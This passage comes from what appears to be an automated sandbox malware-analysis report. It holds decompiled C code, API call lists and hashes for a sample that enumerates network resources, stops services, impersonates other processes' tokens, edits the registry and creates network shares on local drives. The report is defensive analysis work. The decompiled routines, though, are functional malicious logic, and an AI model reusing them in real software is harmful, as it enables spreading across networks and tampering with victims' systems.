              					if(_t64 != 0) {
              						goto L5;
              						do {
              							while(1) {
              								L5:
              								_t41 = WNetEnumResourceW(_v16,  &_v12, _t64,  &_v20); // executed
              								_v24 = _t41;
              								__eflags = _t41;
              								if(_t41 != 0) {
              									goto L21;
              								}
              								_v8 = _t41;
              								__eflags = _v12 - _t41;
              								if(_v12 <= _t41) {
              									continue;
              								}
              								_t14 = _t64 + 0x14; // 0x14
              								_t74 = _t14;
              								do {
              									__eflags =  *(_t74 - 8) & 0x00000002;
              									if(( *(_t74 - 8) & 0x00000002) == 0) {
              										goto L15;
              									}
              									__eflags = _t71;
              									if(_t71 == 0) {
              										L13:
              										_t20 = _t74 - 0x14; // 0x0
              										E02358584(_a4, _a8, _t20); // executed
              										_t76 = _t76 + 0xc;
              										L14:
              										_t41 = _v8;
              										goto L15;
              									}
              									__eflags =  *(_t71 + 0x14);
              									if( *(_t71 + 0x14) == 0) {
              										goto L15;
              									}
              									__eflags =  *_t74;
              									if( *_t74 == 0) {
              										goto L15;
              									}
              									_t19 = _t71 + 0x14; // 0x2363054
              									_t60 = E023568F9( *_t19,  *_t74);
              									__eflags = _t60;
              									if(_t60 == 0) {
              										goto L14;
              									}
              									goto L13;
              									L15:
              									__eflags =  *((intOrPtr*)(_t74 - 0x10)) - 1;
              									if( *((intOrPtr*)(_t74 - 0x10)) == 1) {
              										_t72 = E02355174(0xfffe);
              										__eflags = _t72;
              										if(_t72 != 0) {
              											E02356595(0x23628c0, 0x508, 0xf, 0xe,  &_v40);
              											_v26 = 0;
              											E0235695A(_t72,  &_v40);
              											E02356878(__eflags, _t72,  *_t74 + 2);
              											E02356878(__eflags, _t72, 0x235e32c);
              											 *0x2363040 =  *0x2363040 & 0x00000000;
              											__eflags =  *0x2363040;
              											E02358122(_t72, _a4);
              											E023551C1(_t72);
              											_t76 = _t76 + 0x38;
              										}
              										_t71 = _a12;
              										_t41 = _v8;
              									}
              									_t41 = _t41 + 1;
              									_t74 =  &(_t74[8]);
              									_v8 = _t41;
              									__eflags = _t41 - _v12;
              								} while (_t41 < _v12);
              								_t41 = _v24;
              								goto L21;
              							}
              							L21:
              							__eflags = _t41 - 0x103;
              						} while (_t41 != 0x103);
              						E023551C1(_t64); // executed
              						_t43 = WNetCloseEnum(_v16);
              						asm("sbb eax, eax");
              						_t45 =  ~_t43 + 1;
              						__eflags = _t45;
              						L23:
              						return _t45;
              					}
              					WNetCloseEnum(_v16);
              					_t45 = 0;
              					goto L23;
              				}
              				return 0;
              			}





















              0x0235858e
              0x0235859a
              0x023585a2
              0x023585ab
              0x023585b6
              0x023585b9
              0x023585be
              0x023585c1
              0x023585c3
              0x023585d5
              0x023585d6
              0x023585d6
              0x023585d6
              0x023585e2
              0x023585e8
              0x023585eb
              0x023585ed
              0x00000000
              0x00000000
              0x023585f3
              0x023585f6
              0x023585f9
              0x00000000
              0x00000000
              0x023585fb
              0x023585fb
              0x023585fe
              0x023585fe
              0x02358602
              0x00000000
              0x00000000
              0x02358604
              0x02358606
              0x02358623
              0x02358623
              0x0235862d
              0x02358632
              0x02358635
              0x02358635
              0x00000000
              0x02358635
              0x02358608
              0x0235860c
              0x00000000
              0x00000000
              0x0235860e
              0x02358611
              0x00000000
              0x00000000
              0x02358615
              0x02358618
              0x0235861f
              0x02358621
              0x00000000
              0x00000000
              0x00000000
              0x02358638
              0x02358638
              0x0235863c
              0x02358648
              0x0235864b
              0x0235864d
              0x02358661
              0x02358668
              0x02358671
              0x0235867d
              0x02358688
              0x02358690
              0x02358690
              0x02358698
              0x0235869e
              0x023586a3
              0x023586a3
              0x023586a6
              0x023586a9
              0x023586a9
              0x023586ac
              0x023586ad
              0x023586b0
              0x023586b3
              0x023586b3
              0x023586bc
              0x00000000
              0x023586bc
              0x023586bf
              0x023586bf
              0x023586bf
              0x023586cb
              0x023586d4
              0x023586dd
              0x023586df
              0x023586df
              0x023586e0
              0x00000000
              0x023586e0
              0x023585c8
              0x023585ce
              0x00000000
              0x023585ce
              0x00000000

              APIs
              • WNetOpenEnumW.MPR(00000001,00000000,00000000,02353B2A,00000001), ref: 0235859A
              • WNetCloseEnum.MPR(00000001), ref: 023585C8
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Enum$CloseOpen
              • String ID:
              • API String ID: 1701607978-0
              • Opcode ID: b7319964e1638fbcab64a258e3a64dc67787f21fc84bee9a3c3227fe99bba85a
              • Instruction ID: cc35436103fa6ca6c8347a8b6404153117d60f4380b22c46934a32b58e5b3da7
              • Opcode Fuzzy Hash: b7319964e1638fbcab64a258e3a64dc67787f21fc84bee9a3c3227fe99bba85a
              • Instruction Fuzzy Hash: 06418171940219ABEB21AFA4DC45FBEB7FEEF04315F104529ED09A6150EB70AA91CB60
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              • Executed
              • Not Executed
              control_flow_graph 609 2355cb3-2355cd2 RegOpenKeyExW 610 2355cd4-2355cec RegQueryValueExW 609->610 611 2355d2a-2355d31 609->611 612 2355d20-2355d29 RegCloseKey 610->612 613 2355cee-2355cf1 610->613 612->611 613->612 614 2355cf3-2355cff call 2355174 613->614 614->612 617 2355d01-2355d15 RegQueryValueExW 614->617 617->612 618 2355d17-2355d1e call 23551c1 617->618 618->612
              C-Code - Quality: 100%
              			E02355CB3(void* _a4, short* _a8, short* _a12, int* _a16, int* _a20) {
              				void* _v8;
              				long _t13;
              				long _t15;
              				long _t18;
              				int* _t27;
              				char* _t30;
              
              				_t30 = 0;
              				_t13 = RegOpenKeyExW(_a4, _a8, 0, 1,  &_v8); // executed
              				if(_t13 != 0) {
              					L7:
              					return _t30;
              				}
              				_t27 = _a20;
              				_t15 = RegQueryValueExW(_v8, _a12, 0, _a16, 0, _t27); // executed
              				if(_t15 == 0 &&  *_t27 > 2) {
              					_t30 = E02355174( *_t27);
              					if(_t30 != 0) {
              						_t18 = RegQueryValueExW(_v8, _a12, 0, _a16, _t30, _t27); // executed
              						if(_t18 != 0) {
              							E023551C1(_t30);
              							_t30 = 0;
              						}
              					}
              				}
              				RegCloseKey(_v8); // executed
              				goto L7;
              			}









              0x02355cc5
              0x02355cca
              0x02355cd2
              0x02355d2a
              0x02355d31
              0x02355d31
              0x02355cd5
              0x02355ce4
              0x02355cec
              0x02355cfa
              0x02355cff
              0x02355d0d
              0x02355d15
              0x02355d18
              0x02355d1e
              0x02355d1e
              0x02355d15
              0x02355cff
              0x02355d23
              0x00000000

              APIs
              • RegOpenKeyExW.KERNELBASE(0000000C,0000000D,00000000,00000001,?,02361278,00000000,?,?,0235239C,80000002,?,?,?,?,02361278), ref: 02355CCA
              • RegQueryValueExW.KERNELBASE(?,0000114A,00000000,02361278,00000000,?,80000002,?,?,0235239C,80000002,?,?,?,?,02361278), ref: 02355CE4
              • RegCloseKey.KERNELBASE(?,?,?,0235239C,80000002,?,?,?,?,02361278,0000114A,0000000D,0000000C,?), ref: 02355D23
                • Part of subcall function 02355174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,02351548), ref: 02355189
                • Part of subcall function 02355174: GetProcessHeap.KERNEL32(?,02351548), ref: 02355198
              • RegQueryValueExW.KERNELBASE(?,0000114A,00000000,02361278,00000000,?,?,?,0235239C,80000002,?,?,?,?,02361278,0000114A), ref: 02355D0D
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: HeapQueryValue$CloseCreateOpenProcess
              • String ID:
              • API String ID: 3348224683-0
              • Opcode ID: ecefed1f35bff05035f503d8485e0b95fe6e8867ffd837ce2b37e223356eeda3
              • Instruction ID: da0b27ed630e99d95071839db0f7b396d6ea3bc6f25833779b6835be16440e1f
              • Opcode Fuzzy Hash: ecefed1f35bff05035f503d8485e0b95fe6e8867ffd837ce2b37e223356eeda3
              • Instruction Fuzzy Hash: 4C018072A0012DBF9F214F51DC48DAFBBADEF05795B500066FC0991120D772AE20ABA0
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              • Executed
              • Not Executed
              control_flow_graph 621 2355dcd-2355de9 OpenServiceW 622 2355e41-2355e45 621->622 623 2355deb-2355e16 call 2355e46 ControlService 621->623 626 2355e23-2355e26 623->626 627 2355e18-2355e21 CloseServiceHandle 623->627 629 2355e33-2355e35 626->629 630 2355e28-2355e31 call 2355da9 626->630 628 2355e3f-2355e40 627->628 628->622 632 2355e36-2355e3d CloseServiceHandle 629->632 630->629 630->632 632->628
              C-Code - Quality: 100%
              			E02355DCD(void* _a4, short* _a8, intOrPtr _a12) {
              				void _v28;
              				struct _SERVICE_STATUS _v32;
              				void* _t9;
              				int _t16;
              				int _t20;
              				signed int _t25;
              				void* _t32;
              
              				_t9 = OpenServiceW(_a4, _a8, 0x1002c); // executed
              				_t32 = _t9;
              				if(_t32 != 0) {
              					E02355E46(_a4, _t32);
              					_t25 = 6;
              					_t20 = 0;
              					_v32 = 0;
              					memset( &_v28, 0, _t25 << 2);
              					if(ControlService(_t32, 1,  &_v32) != 0) {
              						if(_a12 == 0 || E02355DA9(_t32) != 0) {
              							_t20 = 1;
              						}
              						CloseServiceHandle(_t32);
              						_t16 = _t20;
              					} else {
              						CloseServiceHandle(_t32);
              						_t16 = 0;
              					}
              					return _t16;
              				}
              				return _t9;
              			}










              0x02355ddf
              0x02355de5
              0x02355de9
              0x02355df1
              0x02355dfa
              0x02355e00
              0x02355e02
              0x02355e05
              0x02355e16
              0x02355e26
              0x02355e35
              0x02355e35
              0x02355e37
              0x02355e3d
              0x02355e18
              0x02355e19
              0x02355e1f
              0x02355e1f
              0x00000000
              0x02355e40
              0x02355e45

              APIs
              • OpenServiceW.ADVAPI32(02353E3F,?,0001002C,00000000,?,?,?,?,?,02353E3F,00000000), ref: 02355DDF
                • Part of subcall function 02355E46: GetTickCount.KERNEL32 ref: 02355E4E
                • Part of subcall function 02355E46: EnumDependentServicesW.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000), ref: 02355E6A
              • ControlService.ADVAPI32(00000000,00000001,?,00000000,00000000,?,?,?,?,?,02353E3F,00000000), ref: 02355E0E
              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,02353E3F,00000000), ref: 02355E19
              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,02353E3F,00000000), ref: 02355E37
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Service$CloseHandle$ControlCountDependentEnumOpenServicesTick
              • String ID:
              • API String ID: 1454505666-0
              • Opcode ID: 7c8677dcc7fcf8ebff28a452aff85ae659bb3f48b9761dfd0f323b22c1146639
              • Instruction ID: cfb8df11be65a146bb17facab25b7eb0c23f22d36276be32a8faa6512a3c6dd6
              • Opcode Fuzzy Hash: 7c8677dcc7fcf8ebff28a452aff85ae659bb3f48b9761dfd0f323b22c1146639
              • Instruction Fuzzy Hash: D8012B32A01229BFDB312F64EC88DEF3BADEF09715F414535FD0894140DBB0A9118AE0
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 36%
              			E02357CB3(intOrPtr _a4) {
              				void* _v8;
              				long _v12;
              				void* _t8;
              				int _t13;
              
              				_push(_t15);
              				if( *0x23633e0 != 0) {
              					L4:
              					 *0x2362798(_a4, 1, 1,  *0x23633e4, 0, 0, 0); // executed
              					if(0 == 0) {
              						_t8 = 1;
              					} else {
              						goto L5;
              					}
              				} else {
              					if(OpenProcessToken(GetCurrentProcess(), 8,  &_v8) == 0) {
              						L5:
              						_t8 = 0;
              					} else {
              						_t13 = GetTokenInformation(_v8, 1, 0x23633e4, 0x200,  &_v12); // executed
              						if(_t13 == 0) {
              							goto L5;
              						} else {
              							 *0x23633e0 = 1;
              							E02355416(_v8);
              							goto L4;
              						}
              					}
              				}
              				return _t8;
              			}







              0x02357cb7
              0x02357cc3
              0x02357d06
              0x02357d16
              0x02357d1e
              0x02357d24
              0x00000000
              0x00000000
              0x00000000
              0x02357cc5
              0x02357cd9
              0x02357d20
              0x02357d20
              0x02357cdb
              0x02357ced
              0x02357cf5
              0x00000000
              0x02357cf7
              0x02357cfa
              0x02357d00
              0x00000000
              0x02357d05
              0x02357cf5
              0x02357cd9
              0x02357d2a

              APIs
              • GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,02357C9F,?,?,02353352,?,00000001), ref: 02357CCB
              • OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,?,?,02357C9F,?,?,02353352,?,00000001), ref: 02357CD1
              • GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),023633E4,00000200,?,?,?,?,?,02357C9F,?,?,02353352,?,00000001), ref: 02357CED
                • Part of subcall function 02355416: CloseHandle.KERNEL32(00000000,?,02357EE5,00000000,?,02357F44,?,00000000,?,023539DE,?,00000000,00000000,02353B70), ref: 02355422
              • SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000001,00000000,00000000,00000000,?,?,?,?,02357C9F,?,?,02353352,?,00000001), ref: 02357D16
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: ProcessToken$CloseCurrentHandleInfoInformationNamedOpenSecurity
              • String ID:
              • API String ID: 988355331-0
              • Opcode ID: e3d2074cf1eae1b5c9a9374866c990f84da1673aba497495af2ca2083bf8ea5b
              • Instruction ID: fc48f3125761013c2fb17dc64554ac917da7bc1c445b989baa2f8f6dce060215
              • Opcode Fuzzy Hash: e3d2074cf1eae1b5c9a9374866c990f84da1673aba497495af2ca2083bf8ea5b
              • Instruction Fuzzy Hash: 320181B0A41228BFEB109E61DC4CFBBBBACEB05B91F148466FC09D1080DB61DD20D7A0
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02358441(WCHAR* _a4, WCHAR* _a8) {
              				int _t5;
              				long _t7;
              				void* _t8;
              				void* _t11;
              				int _t12;
              
              				_t5 = MoveFileW(_a4, _a8); // executed
              				_t12 = _t5;
              				if(_t12 != 0) {
              					L4:
              					return _t12;
              				}
              				_t7 = RtlGetLastWin32Error();
              				_t14 = _t7 - 3;
              				if(_t7 != 3) {
              					goto L4;
              				}
              				_t8 = E02357B9D(_t11, _t14);
              				if(_t8 != 0) {
              					_t12 = MoveFileW(_a4, _a8);
              					RevertToSelf();
              					goto L4;
              				}
              				return _t8;
              			}








              0x0235844b
              0x02358451
              0x02358455
              0x0235847d
              0x00000000
              0x0235847d
              0x02358457
              0x0235845c
              0x0235845f
              0x00000000
              0x00000000
              0x02358461
              0x02358468
              0x02358476
              0x02358478
              0x00000000
              0x02358478
              0x02358481

              APIs
              • MoveFileW.KERNEL32(00000000,50C2440F), ref: 0235844B
              • RtlGetLastWin32Error.NTDLL ref: 02358457
                • Part of subcall function 02357B9D: OpenProcess.KERNEL32(02000000,00000000,00000000,?,?,?,?,?,00000000), ref: 02357BD5
                • Part of subcall function 02357B9D: OpenProcessToken.ADVAPI32(00000000,000F01FF,02358763,?,?,?,?,?,00000000), ref: 02357BEB
              • MoveFileW.KERNEL32(00000000,50C2440F), ref: 02358470
              • RevertToSelf.ADVAPI32(?,023537F7,50C2440F,00000000,00000000,00000000,?,?,02353C3F,?,?), ref: 02358478
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: FileMoveOpenProcess$ErrorLastRevertSelfTokenWin32
              • String ID:
              • API String ID: 1170966839-0
              • Opcode ID: b429723487c905d97db54fb03d5e6ac8cd04a5b049ae973b2b45f87d6da50246
              • Instruction ID: a67770d2db3dbe47e805e86ab93b1811f34d1a07bc82aa2770ea2c536b4c467f
              • Opcode Fuzzy Hash: b429723487c905d97db54fb03d5e6ac8cd04a5b049ae973b2b45f87d6da50246
              • Instruction Fuzzy Hash: 26E04F75A401396B8F322BB1E918E5ABA6A9F043A0B018420FE8DC6120CB31C8619B90
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 78%
              			E02357B9D(void* __ecx, void* __eflags) {
              				void* _v8;
              				short _v12;
              				char _v36;
              				long _t13;
              				void* _t14;
              				int _t16;
              				int _t18;
              				signed int _t21;
              				void* _t23;
              				void* _t26;
              
              				_t23 = __ecx;
              				E02356595(0x23628c0, 0x4d5, 0xc, 0x18,  &_v36);
              				_v12 = 0;
              				_t13 = E02355815(_t23,  &_v36); // executed
              				_t14 = OpenProcess(0x2000000, 0, _t13);
              				_t26 = _t14;
              				if(_t26 != 0) {
              					_t16 = OpenProcessToken(_t26, 0xf01ff,  &_v8);
              					_push(_t26);
              					if(_t16 != 0) {
              						E02355416();
              						_t18 = ImpersonateLoggedOnUser(_v8); // executed
              						E02355416(_v8);
              						_t21 = 0 | _t18 != 0x00000000;
              					} else {
              						E02355416();
              						_t21 = 0;
              					}
              					return _t21;
              				}
              				return _t14;
              			}













              0x02357b9d
              0x02357bb6
              0x02357bbd
              0x02357bc5
              0x02357bd5
              0x02357bdb
              0x02357bdf
              0x02357beb
              0x02357bf1
              0x02357bf4
              0x02357bff
              0x02357c08
              0x02357c13
              0x02357c1c
              0x02357bf6
              0x02357bf6
              0x02357bfb
              0x02357bfb
              0x00000000
              0x02357c1f
              0x02357c24

              APIs
              • OpenProcess.KERNEL32(02000000,00000000,00000000,?,?,?,?,?,00000000), ref: 02357BD5
              • OpenProcessToken.ADVAPI32(00000000,000F01FF,02358763,?,?,?,?,?,00000000), ref: 02357BEB
              • ImpersonateLoggedOnUser.KERNELBASE(02358763,?,?,?,?,?,00000000,?,?,?,?,?,?,?,02358763), ref: 02357C08
                • Part of subcall function 02355416: CloseHandle.KERNEL32(00000000,?,02357EE5,00000000,?,02357F44,?,00000000,?,023539DE,?,00000000,00000000,02353B70), ref: 02355422
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: OpenProcess$CloseHandleImpersonateLoggedTokenUser
              • String ID:
              • API String ID: 3433600676-0
              • Opcode ID: aeb004b25cb88d953026d302f47195841e5ff63b57eff220784c32c6874defb0
              • Instruction ID: 68e760e6334a812c3f5a4dde9a7c3b177fc4a713776f8f8164b7a031463b1db8
              • Opcode Fuzzy Hash: aeb004b25cb88d953026d302f47195841e5ff63b57eff220784c32c6874defb0
              • Instruction Fuzzy Hash: E801A7B2A54225BAF76067F09C0AFEF77AD9F08701F014561ED05F6180EA60DA1047A1
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02355D32(void* __ecx, void* _a4, short* _a8, short* _a12, int _a16, char* _a20, int _a24) {
              				void* _v8;
              				long _t11;
              				int _t19;
              
              				_t19 = 0;
              				_t11 = RegCreateKeyExW(_a4, _a8, 0, 0, 0, 2, 0,  &_v8, 0); // executed
              				if(_t11 == 0) {
              					RegSetValueExW(_v8, _a12, 0, _a16, _a20, _a24); // executed
              					_t19 =  ==  ? 1 : 0; // executed
              					RegCloseKey(_v8); // executed
              				}
              				return _t19;
              			}






              0x02355d37
              0x02355d4a
              0x02355d52
              0x02355d64
              0x02355d72
              0x02355d75
              0x02355d75
              0x02355d81

              APIs
              • RegCreateKeyExW.KERNELBASE(00000000,02363460,00000000,00000000,00000000,00000002,00000000,02351970,00000000,00000000,?,?,023525C1,80000002,?,?), ref: 02355D4A
              • RegSetValueExW.KERNELBASE(02351970,?,00000000,00000000,023634B8,?,?,?,023525C1,80000002,?,?,00000003,02363420,?,023634B8), ref: 02355D64
              • RegCloseKey.KERNELBASE(02351970,?,?,023525C1,80000002,?,?,00000003,02363420,?,023634B8,00000000,?,02363460,00000000,02351970), ref: 02355D75
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: CloseCreateValue
              • String ID:
              • API String ID: 1818849710-0
              • Opcode ID: 18ec072b58313d1990f4e7c8dc9da8f5d6266dc39da6d3c73b580b5fe0cf2b76
              • Instruction ID: 628ad7ba04e66120ccac1929fc5fab1fd8175adfc36ca14990dad6ed15dcb62e
              • Opcode Fuzzy Hash: 18ec072b58313d1990f4e7c8dc9da8f5d6266dc39da6d3c73b580b5fe0cf2b76
              • Instruction Fuzzy Hash: 34F0B772541129BBDF255E92DC0DDDB7F6DEF0A2A1B014455FE0991020D6728920EBE0
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 86%
              			E02358482(void* __ecx, void* __eflags, int _a4) {
              				short _v6;
              				char _v8;
              				void* _v12;
              				short _v14;
              				char _v28;
              				short _v32;
              				char* _v36;
              				short _v40;
              				signed int _v44;
              				intOrPtr _v48;
              				char* _v52;
              				short _v56;
              				char _v60;
              				short _v110;
              				short _v116;
              				short _v124;
              				int _t42;
              				short _t44;
              				void* _t57;
              				void* _t65;
              				void* _t66;
              
              				E023551FB( &_v124, 0, 0x40);
              				E02356595(0x23628c0, 0xbf, 0xd, 0xe,  &_v28);
              				_v14 = 0;
              				E0235695A( &_v124,  &_v28);
              				_t66 = _t65 + 0x28;
              				_t57 = 0x5a;
              				if(_v116 <= _t57) {
              					do {
              						_t42 = GetDriveTypeW( &_v124);
              						_t8 = _t42 - 2; // -2
              						if(_t8 <= 2) {
              							if(_t42 == 3) {
              								_v44 = _v44 | 0xffffffff;
              								_v8 = _v116;
              								_v6 = 0;
              								_v60 =  &_v8;
              								_v36 =  &_v116;
              								_v12 = 0;
              								_v56 = 0;
              								_v52 = L"Share added by R";
              								_v48 = 0x7f;
              								_v40 = 0;
              								_v32 = 0;
              								 *0x2362758(0, 2,  &_v60,  &_v12); // executed
              							}
              							 *0x2363040 = 0;
              							_t63 = E02355174(0xfffe);
              							E0235695A(_t45,  &_v124);
              							E02358122(_t63, _a4); // executed
              							E023551C1(_t63);
              							_t66 = _t66 + 0x18;
              						}
              						_t44 = _v116 + 1;
              						_v110 = 0;
              						_v116 = _t44;
              					} while (_t44 <= _t57);
              				}
              				return 1;
              			}
























              0x02358493
              0x023584aa
              0x023584b1
              0x023584bd
              0x023584c2
              0x023584c7
              0x023584cc
              0x023584d3
              0x023584d7
              0x023584dd
              0x023584e3
              0x023584e8
              0x023584ee
              0x023584f2
              0x023584f8
              0x023584ff
              0x02358505
              0x0235850f
              0x02358516
              0x02358519
              0x02358520
              0x02358527
              0x0235852a
              0x0235852d
              0x0235852d
              0x02358538
              0x02358543
              0x0235854a
              0x02358553
              0x02358559
              0x0235855e
              0x0235855e
              0x02358567
              0x02358569
              0x0235856d
              0x02358571
              0x0235857a
              0x02358583

              APIs
              • GetDriveTypeW.KERNELBASE(?,00000000,?,?,?,?,?,?,?,?,00000001,00000000), ref: 023584D7
              Strings
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: DriveType
              • String ID: Share added by R
              • API String ID: 338552980-1195763064
              • Opcode ID: 1b0a75074ce5e978528c49ebbe39d177e849a8a75107f4273f75451bbb311228
              • Instruction ID: e176a1e7c743dc4a398ed48ee4d197079680ad6d81e748f323ba6403d8d031b7
              • Opcode Fuzzy Hash: 1b0a75074ce5e978528c49ebbe39d177e849a8a75107f4273f75451bbb311228
              • Instruction Fuzzy Hash: 60315CB6D40218AADB20EFE4DC46DEEBBBDEF09700F50451AE909E7141E73046828F95
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02355DBD() {
              				void* _t1;
              
              				_t1 = OpenSCManagerW(0, L"ServicesActive", 4); // executed
              				return _t1;
              			}




              0x02355dc6
              0x02355dcc

              APIs
              • OpenSCManagerW.SECHOST(00000000,ServicesActive,00000004,02354246,?,?,?,?,02353E3F,00000000), ref: 02355DC6
              Strings
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: ManagerOpen
              • String ID: ServicesActive
              • API String ID: 1889721586-3071072050
              • Opcode ID: f464e136083a3fea92821f55891a741c44b0fbd371d56123c3fe0ed17b1e3449
              • Instruction ID: 65203116d3c3d1fbe3ddca3a2f4c5647876fd85abc8ff94de3bb4d351dd37b7e
              • Opcode Fuzzy Hash: f464e136083a3fea92821f55891a741c44b0fbd371d56123c3fe0ed17b1e3449
              • Instruction Fuzzy Hash: 97A002B0BD43106AFD516E505D0FF0526685741F17F11CC48FB2A681C555F01110851A
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 91%
              			E023532A5(void* __eflags, intOrPtr _a4) {
              				short _v6;
              				char _v12;
              				void* _t12;
              				void* _t20;
              				struct _SECURITY_ATTRIBUTES* _t27;
